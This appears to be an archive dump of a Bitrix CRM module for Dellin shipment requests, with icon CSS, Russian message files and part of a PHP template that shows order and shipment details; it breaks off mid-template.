	background-image: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iaXNvLTg4NTktMSI/PjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxuczp4bGluaz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluayIgdmVyc2lvbj0iMS4xIiBpZD0iQ2FwYV8xIiB4PSIwcHgiIHk9IjBweCIgdmlld0JveD0iMCAwIDE2Ljg3NyAxNi44NzciIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDE2Ljg3NyAxNi44Nzc7IiB4bWw6c3BhY2U9InByZXNlcnZlIj48Zz48cGF0aCBkPSJNNS4zMDEsNS41ODdMMS40MDQsMS42ODhjMC41MDMtMC41MDMsMS4wMDUtMS4wMDcsMS41MDktMS41MTFDMy4xNDYtMC4wNTYsMy41MjItMC4wNiwzLjc1NiwwLjE3bDMuMDM2LDMuMDM5ICAgYzAuMjMyLDAuMjMyLDAuMjMyLDAuNjE0LTAuMDAzLDAuODQ4TDYuMTI0LDQuNzIxTDUuNTA1LDUuMzRDNS40MjksNS40MTcsNS4zNiw1LjQ5OSw1LjMwMSw1LjU4N3ogTTguNTA3LDExLjkzOCAgIGMtMC42MzgtMC41NDktMS4yNS0xLjEzMi0xLjg0NC0xLjcyNUM2LjA3LDkuNjE2LDUuNDg5LDkuMDA2LDQuOTM5LDguMzY1Yy0wLjQ1LTAuNTItMC41MzgtMS4yNzMtMC4zMDMtMS45MDdMMC42MzYsMi40NTcgICBjLTAuOTMxLDAuOTU3LTAuODEyLDMuMzMsMC4yMDgsNS40MTVjMC40MzgsMC45MDIsMS4wMDYsMS43MTYsMS41OTMsMi40OWMwLjU4NiwwLjc2OCwxLjIyOSwxLjQ5NCwxLjkwNiwyLjE3NiAgIGMwLjY3OSwwLjY4MSwxLjQwMSwxLjMyNywyLjE3MSwxLjkxM2MwLjc3NCwwLjU4OSwxLjU5LDEuMTUzLDIuNDg2LDEuNTljMi4wODgsMS4wMTksNC40NjIsMS4xMzEsNS40MTgsMC4xOTlsLTQuMDAxLTQuMDAxICAgQzkuNzgzLDEyLjQ3NCw5LjAyOSwxMi4zODcsOC41MDcsMTEuOTM4eiBNMTYuNzAyLDEzLjExOWwtMy4wMzYtMy4wMzdjLTAuMjMzLTAuMjMtMC42MTUtMC4yMy0wLjg0OCwwLjAwM2gtMC4wMDJsLTAuNjY3LDAuNjY2ICAgbC0wLjYxNSwwLjYxOGMtMC4wNzYsMC4wNzYtMC4xNTksMC4xNDMtMC4yNDcsMC4yMDVsMy44OTYsMy44OThjMC41MDQtMC41MDUsMS4wMDctMS4wMDcsMS41MTItMS41MSAgIEMxNi45MywxMy43MjksMTYuOTM1LDEzLjM1MiwxNi43MDIsMTMuMTE5eiIgZmlsbD0iIzg4OWFhYyIvPjwvZz48L3N2Zz4=);
}

.crm-doc-clear {
	clear: both;
	float: left;
}

/*.crm-doc-droplist-item-form:before 					{background-position: 0 -210px}*/
/*.crm-doc-droplist-item-crm_webform:before 			{background-position: 0 -210px}*/
/*.crm-doc-droplist-item-chat:before 					{background-position: 0 -180px}*/
/*.crm-doc-droplist-item-imopenlines_session:before 	{background-position: 0 -180px}*/
/*.crm-doc-droplist-item-mailin:before 				{background-position: 0 -150px}*/
/*.crm-doc-droplist-item-mailto:before 				{background-position: 0 -240px}*/
/*.crm-doc-droplist-item-check:before 				{background-position: 0 -120px}*/


.crm-doc-droplist-item-form:before 					{}
.crm-doc-droplist-item-crm_webform:before 			{}
.crm-doc-droplist-item-chat:before 					{}
.crm-doc-droplist-item-imopenlines_session:before 	{}


.crm-doc-droplist-item-mail:before {
	background-position: center 77%;
	background-size: 18px 14px;
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2018%2014%22%3E%3Cpath%20d%3D%22M16.2%2C0h-13A1.79%2C1.79%2C0%2C0%2C0%2C1.4%2C1.79V7.47H3V2.7a1.14%2C1.14%2C0%2C0%2C0%2C.2.2L9.12%2C7.4a.7.7%2C0%2C0%2C0%2C.43.17h.27a1%2C1%2C0%2C0%2C0%2C.43-.17l5.88-4.49a.91.91%2C0%2C0%2C0%2C.23-.27V9.7a.53.53%2C0%2C0%2C1-.53.54H9.75v1.66h6.48A1.79%2C1.79%2C0%2C0%2C0%2C18%2C10.1V1.82A1.85%2C1.85%2C0%2C0%2C0%2C16.2%2C0ZM9.65%2C5.47l-5-3.82h10l-5%2C3.82Zm-1.8%2C5.1L5.11%2C7.84a.35.35%2C0%2C0%2C0-.4%2C0%2C.37.37%2C0%2C0%2C0-.2.34V9.7H.37a.37.37%2C0%2C0%2C0-.37.37v1.62a.37.37%2C0%2C0%2C0%2C.37.37H4.51v1.55a.37.37%2C0%2C0%2C0%2C.2.34.35.35%2C0%2C0%2C0%2C.4%2C0l2.74-2.74a.4.4%2C0%2C0%2C0%2C.17-.3.36.36%2C0%2C0%2C0-.17-.3Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E');
}
.crm-doc-droplist-item-mail-out:before {
	background-position: center 77%;
	background-size: 18px 14px;
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2018%2014%22%3E%3Cpath%20d%3D%22M1.72%2C2.91%2C7.31%2C7.4a.65.65%2C0%2C0%2C0%2C.41.17H8A.91.91%2C0%2C0%2C0%2C8.4%2C7.4L14%2C2.91a.9.9%2C0%2C0%2C0%2C.22-.27v3h1.56V1.79A1.75%2C1.75%2C0%2C0%2C0%2C14.09%2C0H1.69A1.75%2C1.75%2C0%2C0%2C0%2C0%2C1.79v8.28a1.75%2C1.75%2C0%2C0%2C0%2C1.69%2C1.79H8V10.2H2.07a.52.52%2C0%2C0%2C1-.51-.54v-7a.61.61%2C0%2C0%2C0%2C.16.24ZM12.59%2C1.66%2C7.86%2C5.47%2C3.12%2C1.66Zm5.25%2C8.92L15.23%2C7.84a.32.32%2C0%2C0%2C0-.38%2C0%2C.38.38%2C0%2C0%2C0-.19.34V9.7H10.72a.36.36%2C0%2C0%2C0-.35.37v1.62a.36.36%2C0%2C0%2C0%2C.35.37h3.94v1.55a.38.38%2C0%2C0%2C0%2C.19.34.32.32%2C0%2C0%2C0%2C.38%2C0l2.61-2.74a.37.37%2C0%2C0%2C0%2C0-.61Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E');
}
.crm-doc-droplist-item-mail-in:before {
	background-position: center 77%;
	background-size: 18px 14px;
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2018%2014%22%3E%3Cpath%20d%3D%22M16.2%2C0h-13A1.79%2C1.79%2C0%2C0%2C0%2C1.4%2C1.79V7.47H3V2.7a1.14%2C1.14%2C0%2C0%2C0%2C.2.2L9.12%2C7.4a.7.7%2C0%2C0%2C0%2C.43.17h.27a1%2C1%2C0%2C0%2C0%2C.43-.17l5.88-4.49a.91.91%2C0%2C0%2C0%2C.23-.27V9.7a.53.53%2C0%2C0%2C1-.53.54H9.75v1.66h6.48A1.79%2C1.79%2C0%2C0%2C0%2C18%2C10.1V1.82A1.85%2C1.85%2C0%2C0%2C0%2C16.2%2C0ZM9.65%2C5.47l-5-3.82h10l-5%2C3.82Zm-1.8%2C5.1L5.11%2C7.84a.35.35%2C0%2C0%2C0-.4%2C0%2C.37.37%2C0%2C0%2C0-.2.34V9.7H.37a.37.37%2C0%2C0%2C0-.37.37v1.62a.37.37%2C0%2C0%2C0%2C.37.37H4.51v1.55a.37.37%2C0%2C0%2C0%2C.2.34.35.35%2C0%2C0%2C0%2C.4%2C0l2.74-2.74a.4.4%2C0%2C0%2C0%2C.17-.3.36.36%2C0%2C0%2C0-.17-.3Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E');
}


.crm-doc-droplist-item-call:before {
	background-position: center 45%;
	background-size: 15px 15px;
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2015%2015%22%3E%3Cpath%20d%3D%22M5%2C10.58H3.55c-.14%2C0-.21%2C0-.24-.16s-.17-.48-.23-.72a10.33%2C10.33%2C0%2C0%2C1-.17-3.46%2C5.92%2C5.92%2C0%2C0%2C1%2C.4-1.69.22.22%2C0%2C0%2C1%2C.23-.15H5A1%2C1%2C0%2C0%2C0%2C6.1%2C3.35c0-.38%2C0-.76%2C0-1.14s0-.78%2C0-1.17A1%2C1%2C0%2C0%2C0%2C5%2C0c-.5%2C0-1%2C0-1.49%2C0a1.74%2C1.74%2C0%2C0%2C0-1.2.42A4.76%2C4.76%2C0%2C0%2C0%2C1.13%2C2.14%2C12.18%2C12.18%2C0%2C0%2C0%2C.06%2C6.3%2C13.33%2C13.33%2C0%2C0%2C0%2C.77%2C12a6.5%2C6.5%2C0%2C0%2C0%2C1.29%2C2.29A1.91%2C1.91%2C0%2C0%2C0%2C3.65%2C15c.45%2C0%2C.91%2C0%2C1.36%2C0a1%2C1%2C0%2C0%2C0%2C1.09-1c0-.77%2C0-1.55%2C0-2.32A1%2C1%2C0%2C0%2C0%2C5%2C10.58ZM8%2C4A1%2C1%2C0%2C0%2C1%2C9%2C3h5a1%2C1%2C0%2C1%2C1%2C0%2C2H9A1%2C1%2C0%2C0%2C1%2C8%2C4ZM8%2C7A1%2C1%2C0%2C0%2C1%2C9%2C6h5a1%2C1%2C0%2C1%2C1%2C0%2C2H9A1%2C1%2C0%2C0%2C1%2C8%2C7Zm0%2C3A1%2C1%2C0%2C0%2C1%2C9%2C9h5a1%2C1%2C0%2C1%2C1%2C0%2C2H9A1%2C1%2C0%2C0%2C1%2C8%2C10Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E');
}
.crm-doc-droplist-item-call-out:before {
	background-size: 15px 15px;
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2015%2015%22%3E%3Cpath%20d%3D%22M15%2C7.53a.41.41%2C0%2C0%2C0-.17-.33L11.78%2C4.27a.43.43%2C0%2C0%2C0-.44%2C0%2C.41.41%2C0%2C0%2C0-.23.36V6.25H6.51a.42.42%2C0%2C0%2C0-.42.41V8.4a.42.42%2C0%2C0%2C0%2C.42.41h4.59v1.65a.41.41%2C0%2C0%2C0%2C.23.36.43.43%2C0%2C0%2C0%2C.44%2C0l3.05-2.93A.41.41%2C0%2C0%2C0%2C15%2C7.53ZM5%2C10.58H3.55c-.14%2C0-.21%2C0-.24-.16s-.17-.48-.23-.72a10.33%2C10.33%2C0%2C0%2C1-.17-3.46%2C5.92%2C5.92%2C0%2C0%2C1%2C.4-1.69.22.22%2C0%2C0%2C1%2C.23-.15H5A1%2C1%2C0%2C0%2C0%2C6.1%2C3.35c0-.38%2C0-.76%2C0-1.14s0-.78%2C0-1.17A1%2C1%2C0%2C0%2C0%2C5%2C0c-.5%2C0-1%2C0-1.49%2C0a1.74%2C1.74%2C0%2C0%2C0-1.2.42A4.76%2C4.76%2C0%2C0%2C0%2C1.13%2C2.14%2C12.18%2C12.18%2C0%2C0%2C0%2C.06%2C6.3%2C13.33%2C13.33%2C0%2C0%2C0%2C.77%2C12a6.5%2C6.5%2C0%2C0%2C0%2C1.29%2C2.29A1.91%2C1.91%2C0%2C0%2C0%2C3.65%2C15c.45%2C0%2C.91%2C0%2C1.36%2C0a1%2C1%2C0%2C0%2C0%2C1.09-1c0-.77%2C0-1.55%2C0-2.32A1%2C1%2C0%2C0%2C0%2C5%2C10.58Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E');
}
.crm-doc-droplist-item-call-in:before {
	background-size: 15px 15px;
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2015%2015%22%3E%3Cpath%20d%3D%22M8%2C7a.42.42%2C0%2C0%2C0%2C.36.12l4.24%2C0a.42.42%2C0%2C0%2C0%2C.23-.71L11.66%2C5.18%2C14.88%2C2a.42.42%2C0%2C0%2C0%2C0-.59L13.62.12a.42.42%2C0%2C0%2C0-.59%2C0L9.82%2C3.34%2C8.63%2C2.15a.42.42%2C0%2C0%2C0-.71.23l0%2C4.24A.42.42%2C0%2C0%2C0%2C8%2C7Zm2.67%2C3.26a1%2C1%2C0%2C0%2C0-1.49%2C0l-1%2C1a.21.21%2C0%2C0%2C1-.29.05c-.23-.12-.47-.22-.68-.36a10.8%2C10.8%2C0%2C0%2C1-2.6-2.37%2C6.17%2C6.17%2C0%2C0%2C1-.93-1.49.21.21%2C0%2C0%2C1%2C.05-.27c.35-.34.69-.68%2C1-1a1%2C1%2C0%2C0%2C0%2C0-1.52l-.82-.82-.84-.84a1%2C1%2C0%2C0%2C0-1.49%2C0c-.35.35-.69.7-1%2C1A1.69%2C1.69%2C0%2C0%2C0%2C0%2C4.81%2C4.84%2C4.84%2C0%2C0%2C0%2C.38%2C6.9a12.67%2C12.67%2C0%2C0%2C0%2C2.25%2C3.75%2C13.92%2C13.92%2C0%2C0%2C0%2C4.61%2C3.61A6.67%2C6.67%2C0%2C0%2C0%2C9.8%2C15a1.87%2C1.87%2C0%2C0%2C0%2C1.61-.61c.3-.33.63-.64%2C1-1a1%2C1%2C0%2C0%2C0%2C0-1.51Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E');
}

.crm-doc-droplist-item-meeting:before {
	background-position: center 41%;
	background-size: 17px 10px;
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2017.38%209.62%22%3E%3Cpath%20d%3D%22M8.15%2C4.33%2C3.88.11a.59.59%2C0%2C0%2C0-.94.48V3H.59A.59.59%2C0%2C0%2C0%2C0%2C3.55V6.06a.59.59%2C0%2C0%2C0%2C.59.59H2.94V9a.59.59%2C0%2C0%2C0%2C.94.48L8.15%2C5.28a.59.59%2C0%2C0%2C0%2C0-1Zm1.07%2C1L13.5%2C9.5A.59.59%2C0%2C0%2C0%2C14.44%2C9V6.65h2.35a.59.59%2C0%2C0%2C0%2C.59-.59V3.55A.59.59%2C0%2C0%2C0%2C16.79%2C3H14.44V.59A.59.59%2C0%2C0%2C0%2C13.5.11L9.23%2C4.33a.59.59%2C0%2C0%2C0%2C0%2C1Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E');
}

.crm-doc-droplist-item-check:before {
	background-position: center 35%;
	background-size: 16px 14px;
	background-image: url('data:image/svg+xml;charset=US-ASCII,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20viewBox%3D%220%200%2016%2014%22%3E%3Cpath%20d%3D%22M12.83%2C11.7a.51.51%2C0%2C0%2C1-.53.5H2.39a.51.51%2C0%2C0%2C1-.53-.5V2.3a.51.51%2C0%2C0%2C1%2C.53-.5H9.22L11.11%2C0H1.76A1.73%2C1.73%2C0%2C0%2C0%2C0%2C1.67V12.33A1.73%2C1.73%2C0%2C0%2C0%2C1.76%2C14H13a1.73%2C1.73%2C0%2C0%2C0%2C1.76-1.67V8.21L12.87%2C10v1.7Zm3-9.41L15%2C1.48a.56.56%2C0%2C0%2C0-.8%2C0l-6%2C5.66L5.47%2C4.59a.56.56%2C0%2C0%2C0-.8%2C0l-.86.82a.5.5%2C0%2C0%2C0%2C0%2C.76l4%2C3.78a.63.63%2C0%2C0%2C0%2C.53.16.69.69%2C0%2C0%2C0%2C.3-.16l7.26-6.89a.56.56%2C0%2C0%2C0-.07-.76Z%22%20fill%3D%22%2380868e%22/%3E%3C/svg%3E');
}

.crm-doc-drop-open .crm-doc-droplist-item {
	opacity: 1;
}

.crm-doc-drop .crm-doc-ul {
	opacity: 0;
	-webkit-transition: .3s;
	-moz-transition: .3s;
	transition: .3s;
}
.crm-doc-drop-open .crm-doc-ul {
	opacity: 1;
	-webkit-transform: translate(30px, 0);
	-ms-transform: translate(30px, 0);
	transform: translate(30px, 0);
	-webkit-animation: slide .5s 1;
	animation: slide .5s 1;
	-webkit-animation-fill-mode: forwards;
	animation-fill-mode: forwards;

}

.crm-doc-drop-open .crm-doc-ul .crm-doc-ul,
.crm-doc-droplist-item:nth-child(2) {
	-webkit-animation-delay: .1s;
	animation-delay: .1s;
}

.crm-doc-drop-open .crm-doc-ul .crm-doc-ul .crm-doc-ul,
.crm-doc-droplist-item:nth-child(3) {
	-webkit-animation-delay: .2s;
	animation-delay: .2s;
}

.crm-doc-drop-open .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul,
.crm-doc-droplist-item:nth-child(4) {
	-webkit-animation-delay: .3s;
	animation-delay: .3s;
}

.crm-doc-drop-open .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul,
.crm-doc-droplist-item:nth-child(5) {
	-webkit-animation-delay: .4s;
	animation-delay: .4s;
}

.crm-doc-drop-open .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul .crm-doc-ul,
.crm-doc-droplist-item:nth-child(6) {
	-webkit-animation-delay: .5s;
	animation-delay: .5s;
}

.crm-doc-droplist-item:nth-child(7) {
	-webkit-animation-delay: .6s;
	animation-delay: .6s;
}

.crm-doc-droplist-item:nth-child(8) {
	-webkit-animation-delay: .7s;
	animation-delay: .7s;
}

.crm-doc-droplist-item:nth-child(9) {
	-webkit-animation-delay: .8s;
	animation-delay: .8s;
}

.crm-doc-droplist-item:nth-child(10) {
	-webkit-animation-delay: .9s;
	animation-delay: .9s;
}

.crm-doc-droplist-item:nth-child(11) {
	-webkit-animation-delay: 1s;
	animation-delay: 1s;
}

.crm-doc-droplist-item:nth-child(12) {
	-webkit-animation-delay: 1.1s;
	animation-delay: 1.1s;
}

@keyframes slide {
	from {
		opacity: 0;
		-webkit-transform: translate(30px, 0);
		-ms-transform: translate(30px, 0);
		transform: translate(30px, 0);
	}
	to {
		opacity: 1;
		-webkit-transform: translate(0, 0);
		-ms-transform: translate(0, 0);
		transform: translate(0, 0);
	}
}

@-webkit-keyframes slide {
	from {
		opacity: 0;
		-webkit-transform: translate(30px, 0);
		-ms-transform: translate(30px, 0);
		transform: translate(30px, 0);
	}
	to {
		opacity: 1;
		-webkit-transform: translate(0, 0);
		-ms-transform: translate(0, 0);
		transform: translate(0, 0);
	}
}

.crm-tree-link-repeat {
	font-size: 12px;
	color: #80868e;
	line-height: 20px;
	font-weight: normal;
}components/dellindev/crm.dellin.request/templates/.default/lang/ru/template.php000064400000007063151760651320024024 0ustar00<?
$MESS["CRM_ORDER_SHIPMENT_SHOW_TITLE"] = "Просмотреть отгрузку";
$MESS["CRM_ORDER_SHIPMENT_SHOW"] = "Просмотреть";
$MESS["CRM_ORDER_SHIPMENT_EDIT_TITLE"] = "Редактировать отгрузку";
$MESS["CRM_ORDER_SHIPMENT_EDIT"] = "Редактировать";
$MESS["CRM_ORDER_SHIPMENT_DELETE_TITLE"] = "Удалить отгрузку";
$MESS["CRM_ORDER_SHIPMENT_DELETE"] = "Удалить";
$MESS["CRM_ORDER_SHIPMENT_DELETE_CONFIRM"] = "Вы уверены, что хотите удалить?";
$MESS["CRM_ORDER_SHIPMENT_LIST_ADD_SHORT"] = "Отгрузка";
$MESS["CRM_ORDER_SHIPMENT_LIST_ADD"] = "Добавить отгрузку";
$MESS["CRM_ORDER_SHIPMENT_REBUILD_ACCESS_ATTRS"] = "Для правильной работы обновлённых прав доступа необходимо выполнить обновление атрибутов доступа на <a id=\"#ID#\" target=\"_blank\" href=\"#URL#\">странице управления правами</a>.";
$MESS["CRM_ORDER_SHIPMENT_LIST_FILTER_NAV_BUTTON_LIST"] = "Список";
$MESS["CRM_ORDER_SHIPMENT_SUMMARY"] = "Отгрузка № #NUMBER# от #DATE#";
$MESS["CRM_ORDER_DEDUCTED"] = "Отгружено";
$MESS["CRM_ORDER_NOT_DEDUCTED"] = "Не отгружено";
$MESS["CRM_SHOW_ROW_COUNT"] = "Показать количество";
$MESS["CRM_ALL"] = "Всего";
$MESS["DELLINDEV_HEADER_PAGE"] = "Cоздание заявки на отгрузку № %d в заказе № %d";
$MESS["DELLINDEV_FROM_TERMINAL"] = "От терминала";
$MESS["DELLINDEV_FROM_ADDRESS"] = "От адреса";
$MESS["DELLINDEV_TO_TERMINAL"] = "До терминала";
$MESS["DELLINDEV_TO_ADDRESS"] = "До адреса";
$MESS["DELLINDEV_ADDRESS_TERMINAL_DERIVAL"] = "Адрес терминала отправки";
$MESS["DELLINDEV_ADDRESS_DERIVAL"] = "Адрес отправки";
$MESS["DELLINDEV_ADDRESS_TERMINAL_ARRIVAL"] = "Адрес терминала доставки";
$MESS["DELLINDEV_ADDRESS_ARRIVAL"] = "Адрес доставки";
$MESS["DELLINDEV_DEMENSION_BLOCK"] = "<div style=\"display: flex; flex-direction: column\">
                                            <div>Длина(мм): %d </div>
                                            <div>Ширина(мм): %d </div>
                                            <div>Высота(мм): %d </div>
                                            <div>Масса(г): %d </div>
                                       </div>";
$MESS["DELLINDEV_CLIENT_INFO"] = "Сведения о клиенте ";
$MESS["DELLINDEV_CLIENT_NAME"] = "Имя клиента: ";
$MESS["DELLINDEV_CONTACT_PHONE"] = "Контактный телефон: ";
$MESS["DELLINDEV_ADDRESS"] = "Адрес: ";
$MESS["DELLINDEV_INFO_SHIPMENT"] = "Информация об отгрузке";
$MESS["DELLINDEV_SCHEME_DELIVERY"] = "Способ доставки: ";
$MESS["DELLINDEV_DATE_UNLOAD"] = "Дата отгрузки: ";
$MESS["DELLINDEV_CREATE_REQUEST"] = "Создать заявку";
$MESS["DELLINDEV_TRACKING_NUMBER"] = "Трек номер:  ";
$MESS["DELLINDEV_STATE_DELIVERY"] = "Статус доставки: ";
$MESS["DELLINDEV_DATE_DELIVERY"] = "Время прибытия груза: ";
$MESS["DELLINDEV_PROCESS_CREATE_REQUEST"] = "Процесс создания заявки";
$MESS["DELLINDEV_NEXT"] = "Продолжить";
$MESS["DELLINDEV_NAMEPRODUCT"] = "Наименование";
$MESS["DELLINDEV_COUNT_IN_SHIPMENT"] = "Количество в отгрузке";
$MESS["DELLINDEV_WGH"] = "ВГХ";
$MESS["DELLINDEV_COST"] = "Цена";components/dellindev/crm.dellin.request/templates/.default/lang/en/template.php000064400000007063151760651320024000 0ustar00<?
$MESS["CRM_ORDER_SHIPMENT_SHOW_TITLE"] = "Просмотреть отгрузку";
$MESS["CRM_ORDER_SHIPMENT_SHOW"] = "Просмотреть";
$MESS["CRM_ORDER_SHIPMENT_EDIT_TITLE"] = "Редактировать отгрузку";
$MESS["CRM_ORDER_SHIPMENT_EDIT"] = "Редактировать";
$MESS["CRM_ORDER_SHIPMENT_DELETE_TITLE"] = "Удалить отгрузку";
$MESS["CRM_ORDER_SHIPMENT_DELETE"] = "Удалить";
$MESS["CRM_ORDER_SHIPMENT_DELETE_CONFIRM"] = "Вы уверены, что хотите удалить?";
$MESS["CRM_ORDER_SHIPMENT_LIST_ADD_SHORT"] = "Отгрузка";
$MESS["CRM_ORDER_SHIPMENT_LIST_ADD"] = "Добавить отгрузку";
$MESS["CRM_ORDER_SHIPMENT_REBUILD_ACCESS_ATTRS"] = "Для правильной работы обновлённых прав доступа необходимо выполнить обновление атрибутов доступа на <a id=\"#ID#\" target=\"_blank\" href=\"#URL#\">странице управления правами</a>.";
$MESS["CRM_ORDER_SHIPMENT_LIST_FILTER_NAV_BUTTON_LIST"] = "Список";
$MESS["CRM_ORDER_SHIPMENT_SUMMARY"] = "Отгрузка № #NUMBER# от #DATE#";
$MESS["CRM_ORDER_DEDUCTED"] = "Отгружено";
$MESS["CRM_ORDER_NOT_DEDUCTED"] = "Не отгружено";
$MESS["CRM_SHOW_ROW_COUNT"] = "Показать количество";
$MESS["CRM_ALL"] = "Всего";
$MESS["DELLINDEV_HEADER_PAGE"] = "Cоздание заявки на отгрузку № %d в заказе № %d";
$MESS["DELLINDEV_FROM_TERMINAL"] = "От терминала";
$MESS["DELLINDEV_FROM_ADDRESS"] = "От адреса";
$MESS["DELLINDEV_TO_TERMINAL"] = "До терминала";
$MESS["DELLINDEV_TO_ADDRESS"] = "До адреса";
$MESS["DELLINDEV_ADDRESS_TERMINAL_DERIVAL"] = "Адрес терминала отправки";
$MESS["DELLINDEV_ADDRESS_DERIVAL"] = "Адрес отправки";
$MESS["DELLINDEV_ADDRESS_TERMINAL_ARRIVAL"] = "Адрес терминала доставки";
$MESS["DELLINDEV_ADDRESS_ARRIVAL"] = "Адрес доставки";
$MESS["DELLINDEV_DEMENSION_BLOCK"] = "<div style=\"display: flex; flex-direction: column\">
                                            <div>Длина(мм): %d </div>
                                            <div>Ширина(мм): %d </div>
                                            <div>Высота(мм): %d </div>
                                            <div>Масса(г): %d </div>
                                       </div>";
$MESS["DELLINDEV_CLIENT_INFO"] = "Сведения о клиенте ";
$MESS["DELLINDEV_CLIENT_NAME"] = "Имя клиента: ";
$MESS["DELLINDEV_CONTACT_PHONE"] = "Контактный телефон: ";
$MESS["DELLINDEV_ADDRESS"] = "Адрес: ";
$MESS["DELLINDEV_INFO_SHIPMENT"] = "Информация об отгрузке";
$MESS["DELLINDEV_SCHEME_DELIVERY"] = "Способ доставки: ";
$MESS["DELLINDEV_DATE_UNLOAD"] = "Дата отгрузки: ";
$MESS["DELLINDEV_CREATE_REQUEST"] = "Создать заявку";
$MESS["DELLINDEV_TRACKING_NUMBER"] = "Трек номер:  ";
$MESS["DELLINDEV_STATE_DELIVERY"] = "Статус доставки: ";
$MESS["DELLINDEV_DATE_DELIVERY"] = "Время прибытия груза: ";
$MESS["DELLINDEV_PROCESS_CREATE_REQUEST"] = "Процесс создания заявки";
$MESS["DELLINDEV_NEXT"] = "Продолжить";
$MESS["DELLINDEV_NAMEPRODUCT"] = "Наименование";
$MESS["DELLINDEV_COUNT_IN_SHIPMENT"] = "Количество в отгрузке";
$MESS["DELLINDEV_WGH"] = "ВГХ";
$MESS["DELLINDEV_COST"] = "Цена";components/dellindev/crm.dellin.request/templates/.default/template.php000064400000042012151760651320022446 0ustar00<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Localization\Loc;

/**
 * Bitrix vars
 * Bitrix vars
 * @global CUser $USER
 * @global CMain $APPLICATION
 * @global CDatabase $DB
 * @var array $arParams
 * @var array $arResult
 * @var CBitrixComponent $component
 */

$APPLICATION->SetAdditionalCSS("/bitrix/themes/.default/crm-entity-show.css");

if(SITE_TEMPLATE_ID === 'bitrix24')
{
    $APPLICATION->SetAdditionalCSS("/bitrix/themes/.default/bitrix24/crm-entity-show.css");
}

if (CModule::IncludeModule('bitrix24') && !\Bitrix\Crm\CallList\CallList::isAvailable())
{
    CBitrix24::initLicenseInfoPopupJS();
}

\Bitrix\Main\UI\Extension::load("ui.dialogs.messagebox");
\Bitrix\Main\UI\Extension::load("ui.buttons");

$orderID = $arParams["LOADER_INFO"]['data']['PARAMS']['orderID'];
$shipmentID = $arParams["LOADER_INFO"]['data']['PARAMS']['shipment'];

$shipmentData = \Sale\Handlers\Delivery\DellinBlockAdmin::getAllDataForJS($orderID);


$result['orderID'] = $orderID;
$result['shipmentID'] = $shipmentID;
$result['shipmentData'] = $shipmentData;

$arParams['LOADER_INFO']["DELLIN"] = $result;


$personInfo = $result['shipmentData']['personInfo'];
$shipmentInfo = $result['shipmentData']['shipments'][$shipmentID];

$derivalPhrase = ($shipmentInfo['IS_TERMINAL_DERIVAL'])?Loc::getMessage("DELLINDEV_FROM_TERMINAL") :
    Loc::getMessage("DELLINDEV_FROM_ADDRESS");
$arrivalPhrase = ($shipmentInfo['IS_TERMINAL_ARRIVAL'])?Loc::getMessage("DELLINDEV_TO_TERMINAL") :
    Loc::getMessage("DELLINDEV_TO_ADDRESS");
$phraseAddressDerival = ($shipmentInfo['IS_TERMINAL_DERIVAL'])? Loc::getMessage("DELLINDEV_ADDRESS_TERMINAL_DERIVAL") :
    Loc::getMessage("DELLINDEV_ADDRESS_DERIVAL");
$phraseAddressArival = ($shipmentInfo['IS_TERMINAL_ARRIVAL'])?  Loc::getMessage("DELLINDEV_ADDRESS_TERMINAL_ARRIVAL") :
    Loc::getMessage("DELLINDEV_ADDRESS_ARRIVAL");

$schemeDelivery = $derivalPhrase.' - '.$arrivalPhrase;
$listProduct = [];


foreach ($shipmentInfo["BASKET"] as $value){

    $listProduct[] = ['data' => [
        'ID' => $value['productId'],
        'NAME' => $value['productName'],
        'COUNT' => $value['quantity'],
        'WGH' => sprintf(Loc::getMessage("DELLINDEV_DEMENSION_BLOCK"), $value['lenght'],
            $value['width'],
            $value['height'],
            $value['weight']),
        'COST' => $value['price']
    ]
    ];

}


CJSCore::Init(array("jquery","date"));


Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/progress_control.js');
Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/activity.js');
Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/interface_grid.js');
Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/autorun_proc.js');
Bitrix\Main\Page\Asset::getInstance()->addCss('/bitrix/js/crm/css/autorun_proc.css');
?>
<h1><?=sprintf(Loc::getMessage("DELLINDEV_HEADER_PAGE"), $shipmentID, $orderID) ?></h1>

<div id="app" class="crm-doc-cart" style="flex-direction: column;">
